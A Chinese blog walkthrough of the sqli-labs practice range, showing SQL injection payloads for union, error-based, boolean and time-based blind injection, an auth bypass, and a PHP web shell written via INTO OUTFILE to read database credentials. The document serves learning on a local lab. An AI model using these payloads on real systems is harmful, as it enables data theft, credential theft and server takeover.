SQL注入学习——sqli-labs闯关(Basic Challenges)
文章目錄
- 前言
- 一、漏洞介紹
- 1、什么是SQL注入?
- 2、SQL注入原理:
- 3、注入漏洞分類:
- 二、靶場練習
- 基礎知識:
- Less1 基于錯誤的GET單引號字符型注入
- Less2 基于錯誤的GET數字型注入
- Less3 基于錯誤的GET單引號變形注入
- Less4 基于錯誤的GET雙引號注入
- 盲注介紹:
- Less5 基于報錯的GET單引號盲注
- Less6 基于報錯的GET雙引號盲注
- Less7 導出文件GET字符型注入
- Less8 布爾型GET單引號盲注
- Less9 基于時間的GET單引號盲注
- Less10 基于時間的GET雙引號盲注
- Less11 基于錯誤的POST單引號注入
- Less12 基于錯誤的POST雙引號變形注入
- Less13 基于報錯的POST單引號變形盲注
- Less14 基于報錯的POST雙引號盲注
- Less15 基于時間的單引號POST盲注
- Less16 基于時間的雙引號POST盲注
- Less17 基于錯誤的更新查詢POST注入
- Less18 基于錯誤的用戶代理,頭部POST注入
- Less19 基于頭部的Referer POST報錯注入
- Less20 基于錯誤的cookie頭部POST注入
前言
今天開始學習 SQL 注入的相關知識,通過 sqli-labs 靶場來練習。靶場地址
一、漏洞介紹
1、什么是SQL注入?
SQL注入(SQL Injection)是一種常見的 Web 安全漏洞,攻擊者通過構造SQL語句與后臺數據庫進行交互,達到獲取或修改一些敏感數據,或者利用潛在的數據庫漏洞進行攻擊的目的。
2、SQL注入原理:
SQL注入是發生于 Web 應用與數據庫層的安全漏洞,漏洞的本質是代碼和數據未分離,通過在用戶可控參數中注入SQL語句,若程序未對輸入的指令進行合法性判斷,注入進去的惡意指令就會被數據庫服務器誤認為是正常的SQL指令而運行,達到編寫程序時意料之外結果的攻擊行為。
例:
下圖是一個正常的登錄表單,輸入正確的賬號和密碼后,程序會查詢數據庫,如果存在此用戶并且密碼正確,將會成功登錄;如果用戶不存在或者密碼不正確,則會提示賬號或者密碼錯誤。
接下來使用一個比較特殊的用戶 1' or 1=1# 登錄,輸入用戶名:1’ or 1=1#,密碼可以隨意填寫或者不寫,點擊“登錄”按鈕后,發現是可以正常登錄的。
為什么密碼隨意輸入都可以進入后臺呢?數據庫里并沒有 1’ or 1=1# 這個用戶,難道是程序出錯了嗎?
通過分析SQL語句,發現最終執行的SQL語句為:
select * from user where username='$name' and password='$pass';當輸入這個特殊用戶 1’ or 1=1# 時,最終執行的SQL語句為:
select * from user where username='1' or 1=1# and password=''此時的#后面的 password 根本起不了任何作用,因為它已經被注釋了,而且 username='1' or 1=1這條語句永遠為真,那么最終執行的SQL語句相當于:
select * from user //查詢user表所有的數據條數很顯然,返回條數大于0,所以可以順利通過驗證,登錄成功。這就是一次最簡單的SQL注入過程。雖然過程很簡單,但其危害卻很大,比如,在用戶名位置處輸入以下SQL語句:
1'or 1=1;drop table user#因為 SQL Server 支持多語句執行,所以這里可以直接刪除 user 表。
由此可得知,SQL注入漏洞的形成原因就是:用戶輸入的數據被SQL解釋器執行。
3、注入漏洞分類:
在測試注入漏洞之前,首先要弄清楚一個概念:注入的分類,明白了分類之后,再測試注入將起到事半功倍的效果。
常見的SQL注入類型包括:數字型 和 字符型。也有人把類型分得更多、更細。但不管注入類型如何,攻擊者的目的只有一點,那就是繞過程序限制,使用戶輸入的數據帶入數據庫執行,利用數據庫的特殊性獲取更多的信息或者更大的權限。
1、數字型注入:
當輸入的參數為整型時,如:ID、年齡、頁碼等,如果存在注入漏洞,則可以認為是數字型注入,數字型注入是最簡單的一種。假設有URL http://www.xxx.com/test.php?id=3,可以猜測SQL語句為:
select * from table where id=3測試步驟如下:
1、加單引號,URL:http://www.xxx.com/test.php?id=3’
對應的SQL:select * from table where id=3' 這時SQL語句出錯,程序無法正常從數據庫中查詢出數據,就會拋出異常。
2、加and 1=1 ,URL:http://www.xxx.com/test.php?id=3 and 1=1
對應的SQL:select * from table where id=3 and 1=1 語句執行正常,返回數據與原始請求無任何差異。
3、加and 1=2,URL:http://www.xxx.com/test.php?id=3 and 1=2
對應的SQL:select * from table where id=3 and 1=2 語句執行正常,但卻無法查詢出數據,因為and 1=2始終為假。所以返回數據與原始請求有差異。
如果以上三個步驟全部滿足,則程序就可能存在數字型SQL注入。
2、字符型注入:
當輸入的參數為字符串時,稱為字符型。數字型與字符型注入的最大區別在于:數字型不需要單引號來閉合,而字符串類型一般要使用單引號來閉合的。
-
數字型語句:select * from table where id =3
-
字符型語句:select * from table where username ='admin'
字符型注入最關鍵的是如何閉合SQL語句以及注釋多余的代碼。
當查詢內容為字符串時 select * from table where username ='admin'
測試步驟:
1、加單引號:select * from table where username ='admin'',由于加單引號后變成三個單引號,無法執行,程序會報錯。
2、加and 1=1(或者1=2) 此時SQL語句為:select * from table where username='admin and 1=1' ,也無法進行注入,因為admin and 1=1會被數據庫當作查詢的字符串。這時想要進行注入,則必須注意字符串閉合問題。
3、加'and 1=1--+(and 前面的單引號閉合'admin',--注釋后面的單引號 )就可以繼續注入,SQL語句如下:
select * from table where username ='admin' and 1=1--+'當輸入'and 1=2--+ 時,就和上面數字型同理,語句執行正常,但卻無法查詢出數據。
總結:數字型注入不需要閉合單引號以及注釋;字符型注入必須閉合單引號以及注釋多余的代碼。
補充:
Mysql常用注釋符:
- --:注意,這種注釋符后邊有一個空格,通常寫為--+,+會在傳遞中變成空格
- #:通過#進行注釋,URL編碼為%23
3、其它分類:
總的來說,SQL注入只分為 “數字型” 與 “字符型”,因為對數據庫進行數據查詢時,輸入數據一般只有兩種:一個是數字類型,比如 where id=1、where age > 20,另外是一個字符串類型,比如 where name=‘root’、where datetime > ‘2013-08-18’。
可能不同的數據庫語法上存在差異,但帶入數據庫查詢時一定是數字或字符串。所以無論是POST注入,還是其類型注入,都可歸納為數字型注入或者字符型注入。
那么Cookie注入、POST注入等是怎么回事呢?其實這類注入主要通過注入的位置來分辨,比如有以下請求:
此時為POST 請求,但是POST數據中的username字段存在注入漏洞,一般都會直接說POST注入,卻不再考慮username是什么類型的注入,如果此時的HTTP請求如下:
那么是否又應該叫做GET注入呢?
以下是一些常見的注入叫法:
-
POST注入:注入字段在 POST 數據中
-
Cookie注入:注入字段在Cookie數據中
-
延時注入:使用數據庫延時特性注入
-
搜索注入:注入處為搜索的地點
-
base64注入:注入字符串需要經過base64加密
🆗,了解了這些基礎知識后就開始練習吧!
二、靶場練習
基礎知識:
在開始注入之前,還需要知道一些關于 Mysql 的基礎知識。
1)系統函數:
- version()——Mysql版本
- user()——數據庫用戶名
- database()——數據庫名
- @@datadir——數據庫路徑
- @@basedir——獲取安裝路徑
- @@version_compile_os——操作系統版本
2)字符串連接函數:
-
concat(str1,str2,…) —— 沒有分隔符地連接字符串
例:concat_ws('11','22','33') :112233 -
concat_ws(separator,str1,str2,…) —— 含有分隔符地連接字符串,第一個參數是其它參數的分隔符。
例:concat_ws(':','11','22','33') :11:22:33 -
group_concat(str1,str2,…) —— 使多行數據在一行顯示,并以逗號分開
簡單來說使用這三個函數的目的就是:能一次性查出多條信息。
3)常見的閉合符號:
$id'$id'"$id"($id)('$id')("$id")(('$id'))4)系統數據庫 information_schema,存儲著所有的數據庫的相關信息,里面有三張表:
-
information_schema.schemata:包含所有庫 庫名的表
常用字段:schema_name 數據庫名 -
information_schema.tables:包含所有庫 表名的表
常用字段:table_name 表名;table_schema 數據庫名 -
information_schema.columns:包含所有庫 表字段的表
常用字段:column_name 列名;table_schema 數據庫名;table_name 表名
一般的,我們利用該表可以進行一次完整的注入,流程如下:
猜數據庫
select schema_name from information_schema.schemata猜某庫的數據表
select table_name from information_schema.tables where table_schema=’xxxxx’猜某表的所有列
select column_name from information_schema.columns where table_schema='xxx' and table_name=’xxxxx’獲取某列的內容
Select *** from ***好的,正式開始吧!
Less1 基于錯誤的GET單引號字符型注入
先來確定是什么類型的注入,在http://127.0.0.1/sqli-labs/Less-1?id=1后面添加一個'
發現報錯了,說明我們添加的單引號被數據庫成功解析,就可能存在注入。接下來輸入?id=1 and 1=2,發現頁面沒有變化,可以判斷不是數字型注入。
PS:這里可能會有疑問,為什么id='1 and 1=2'還可以正常查詢出數據?最直接的辦法就是自己測試一下,如圖:
經過測試,得出的結論是:在 select 查詢時,程序會忽略后面的字符串,只讓id與第一個字符進行對比,如果存在即返回數據。
接著輸入'and 1=2 %23后頁面發生變化,確定為字符型注入,并且閉合符號為單引號。
看下源碼:
確實是單引號,確定注入的類型后,我們就可以構造相應的的SQL語句進行攻擊了。
這時需要用到聯合查詢的方式來獲取想要的信息,使用聯合查詢的前提是 union 后面的 select 語句必須和前面查詢的列的數量、順序、類型相同,否則數據庫會報錯,所以需要先查字段數。
確定字段數可以使用 order by,即通過排序的方式測出字段數:
從1開始依次測試,當按第4列數據進行排序時報錯了
http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 4 %23
說明有三個字段,那么現在開始聯合查詢:
PS:select可以直接加數字串,不寫后面的表名,它輸出的內容就是我們select后的數字,這時select實際上沒有向任何一個數據庫查詢數據,即查詢命令不指向任何數據庫的表。通常用來快速測試顯示位。
先來看下這條SQL語句在數據庫的執行情況:
程序在展示數據的時候通常只會取結果集的第一行,所以我們需要把前面的查詢結果集變為空,這樣才能顯示我們想要的結果,同時又需要確定哪幾個字段會被顯示在頁面上,這里令id=-1也可以直接在后面添加and 1=2兩種方式都可以。再次測試:
可以看到2,3字段被顯示出來,也就是說我們要在2或3字段上查詢數據。🆗,知道了這些之后就可以真正開始SQL注入了!
1、爆數據庫:
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+
成功得到所有的數據庫!
2、查看當前數據庫:
可以看到數據庫名為:security,接著再查其他信息。
OK,得到這些信息之后我們再來看看數據庫有哪些表。
3、爆當前數據庫的表:
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
可以看到有四張表,我們想要的用戶信息通常在 users表中。
4、爆users列名:
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+這里需要注意指定 table_schema 字段,因為 users 表非常容易出現重復!
終于看到我們夢寐以求的 password 了!得到字段后接爆用戶數據。
5、爆數據:
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from security.users --+如果只有一個顯示位可以改為:?id=-1' union select 1,2,group_concat(username,' : ',password) from security.users--+
注意:因 users 表存在重復問題,最好加上數據庫(又是一個小細節!)
也可以單獨爆一個用戶:
🆗,第一關到此圓滿結束!!
Less2 基于錯誤的GET數字型注入
和上題思路一樣,加單引號報錯,加and 1=2 程序執行正常,但卻無法查詢出數據,那么就確定是數字型SQL注入了。
看下源碼
確實是數字型,🆗,剩下的就和第一關一樣,可以隨意爆數據了。
Less3 基于錯誤的GET單引號變形注入
加單引號,頁面報錯
根據報錯消息可以推斷出閉合符號為('$id'),測試 1') --+
程序執行正常,然后就可以進行注入了。
其余的 payload 與 less1 中一致,只需要 '改為')
Less4 基于錯誤的GET雙引號注入
同樣的思路,先加單引號,然而發現沒有報錯,再用雙引號測試,發現報錯了
根據報錯信息,推斷出閉合符號應該是:("$id"),測試:1") --+
然后就可以注入了,其余同上。
盲注介紹:
何為盲注?盲注就是在 sql 注入過程中,sql 語句執行后,查詢的數據不能回顯到前端頁面上。此時,我們需要利用一些特殊的方法來得到數據,這個過程稱之為盲注。盲注主要分為三類:
-
基于布爾的 SQL 盲注
-
基于時間的 SQL 盲注
-
基于報錯的 SQL 盲注
因為這塊內容較多,具體方法在下面的題目中詳細講解。
Less5 基于報錯的GET單引號盲注
輸入?id=1
沒有顯示數據,這是咋回事?看一下源碼:
可以看到程序并沒有將 $row 這個查詢結果輸出,即正確結果沒有回顯,但是錯誤信息還是會顯示。頁面沒有顯示位,所以無法使用聯合查詢。
先來確定注入類型,加單引號報錯,加 and 1=2 頁面沒有變化,即非數字型,加'and 1=2--+后頁面發生變化,確定為字符型注入,并且閉合符號為單引號。
根據題目名字:雙注入,查了一些大佬的文章之后終于明白了,雙注入即 報錯注入,利用嵌套查詢來實現,形式為:select…(select…),里面的 select 被稱為子查詢,執行順序是先執行子查詢,然后再執行外面的 select。
雙注入主要涉及到了下面幾個SQL函數:
rand() 隨機函數,返回0~1之間的一個值 floor(a) 取整函數,返回小于等于a的一個整數,沒有四舍五入 count() 聚合函數 group by 分組函數詳解請看這篇文章:雙注入詳解
雙注入的原理總的來說就是:當一個聚合函數 count 后面出現 group by 分組語句時,會將查詢的一部分結果以報錯的形式返回,它有一個固定的公式。
構造sql語句:
Less-5/?id=-1' union select count(*),2,concat('*',(select database()),'*',floor(rand()*2))as a from information_schema.tables group by a--+ //這里我們給查詢的數據起了另一個名:a
OK得到數據庫了,然后就可以以同樣地方式得到其他信息。
獲取表名:
?id=-1' union select count(*),1, concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
查詢用戶信息:
第五關結束。
Less6 基于報錯的GET雙引號盲注
與上關是同一類型,這關使用的是雙引號閉合,其余過程與前面類似,不再贅述。
Less7 導出文件GET字符型注入
輸入?di=1
還是沒有顯示數據,接著輸入?id=1'
頁面報錯,說明可能存在注入,輸入?id=1 and 1=2
回顯正常,說明不是數字型注入。
輸入?id=1'--+,顯示報錯,繼續輸入?id=1')--+頁面仍然報錯, 多次嘗試1' 1" 1') 1") 1')) 最后發現是1')),頁面顯示正常了。
查看下源碼:
看到正常回顯都是 You are in… Use outfile…,報錯信息統一返回 You have an error in your SQL syntax
同時他也給出了提示:use outfile 也就是說需要使用 outfile 函數:
outfile 函數的作用就是將數據庫的查詢內容導出到一個外部文件
語法:select...into outfile 'file_name'
可以把被選擇的行寫入一個文件中,前提是要擁有 file 權限才能使用。file_name 不能是一個已經存在的文件。
現在還不知道數據庫的路徑,可以借助前面幾關來獲取數據庫的路徑:@@basedir 獲取安裝路徑
http://localhost/sqli-labs/Less-1/?id=-1‘ union select 1,2,@@basedir --+
這樣我們就可以知道網站應該是在C:/phpStudy/WWW/下,嘗試寫入一句話木馬 ,構造代碼:
注意:這里要用雙反斜杠\\,否則建立出來的文件名會加前綴。
頁面回顯錯誤,不過不用管,查看一下文件夾,可以看到文件已將寫入目錄下了,打開菜刀,右鍵添加 http://127.0.0.1/123.php 地址填入你上傳文件的地址,后面的小方框中填入你構造的密碼,也就是smk
連接成功,然后就可以為所欲為了,嘿嘿嘿。
真實場景中目的主要是獲得數據庫管理員信息,先找到 index.php 文件,尋找其中sql連接語句。
順藤摸瓜,找到 sql-connect.php 文件
打開 db-creds.inc
就可以獲得數據庫管理員信息了!
Less8 布爾型GET單引號盲注
這關內容稍多,所以單獨拿出來了,詳情請看這篇文章:文章鏈接
同時這關也可以使用導出文件,菜刀連接的方法做,步驟和上題一樣,這里給出payload:
?id=1' union select 1,"<?php @eval($_POST['smk']);?>",3 into outfile "C:\\phpStudy\\WWW\\123.php" --+Less9 基于時間的GET單引號盲注
這關內容也很多,本關鏈接
Less10 基于時間的GET雙引號盲注
與上關是同一類型,這關使用的是雙引號閉合,其余過程與前面類似,不再贅述。
Less11 基于錯誤的POST單引號注入
從這一關開始,我們就進入到 post 注入的世界了。
先在 username 輸入admin',password 空著,返回錯誤信息:
從錯誤信息可知在 username 處應該有注入點,并且可能為單引號閉合類型。
嘗試萬能語句admin' or 1=1#
發現登陸成功,而且用戶默認為 dumb,確定為單引號閉合的字符型注入。
老樣子,order by 確定列數,測得為2:
接著就開始爆破數據庫、表名、列名。
1、數據庫名:
在 username 欄輸入:
1' union select 1,database()#注意:post類型要用 # ,--+不能用
密碼隨便填
得到數據庫名。
2、表名:
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
3、列名:
4、爆破用戶名、密碼
1' union select group_concat(username),group_concat(password) from security.users#Less12 基于錯誤的POST雙引號變形注入
先嘗試 admin',頁面無變化,應該不是單引號字符注入。嘗試 admin",發現報錯了。
從報錯信息可知閉合方式為(""),再測試代碼 admin") or 1=1#,密碼隨便,登錄成功:
接下來就是爆數據庫名、表名、列名、用戶名以及密碼,和第十一關一樣,在此不再贅述。
Less13 基于報錯的POST單引號變形盲注
Less14 基于報錯的POST雙引號盲注
和上關類似,這關使用的是雙引號閉合,只需修改為admin"即可。
Less15 基于時間的單引號POST盲注
嘗試admin'、admin"、),發現沒有回顯報錯信息,頁面也沒有任何變化,那么 bool 盲注就無法使用,那就只能說明可能為時間盲注。
多次測試,當輸入下面代碼時
admin' and sleep(5)#時間延遲了5秒,確定閉合符號為單引號:
注意:這里不能使用1' and sleep(5)#,因為前面的GET型中我們知道?id=1這個條件本來就是true,而我們測試POST型的 username 為1,這個條件本身為 false,因為數據庫沒有這個用戶,邏輯符是and:一假則假,所以不能使用。這里是知道存在用戶 admin 直接用了。
如果不知道用戶名可以使用萬能語句進行測試,當輸入1' or 1=1#時,登陸成功,頁面變化了,說明閉合符號就是單引號。
測試數據庫名:
admin' and if(substr((select database()),1,1)='s',sleep(5),1)#頁面經過5s后響應,得到數據庫第一位,接下來按部就班進行爆破,與前面 less9 類似,在此不再贅述。
Less16 基于時間的雙引號POST盲注
和上關一樣,區別是這關使用的雙引號閉合,只需修改為admin"即可。
admin" and if(substr((select database()),1,1)='s',sleep(5),1)#Less17 基于錯誤的更新查詢POST注入
Less18 基于錯誤的用戶代理,頭部POST注入
Less19 基于頭部的Referer POST報錯注入
Less20 基于錯誤的cookie頭部POST注入
總結
以上是生活随笔為你收集整理的SQL注入学习——sqli-labs闯关(Basic Challenges)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 实验吧--密码学
- 下一篇: SQL注入学习——Bool盲注详解 sq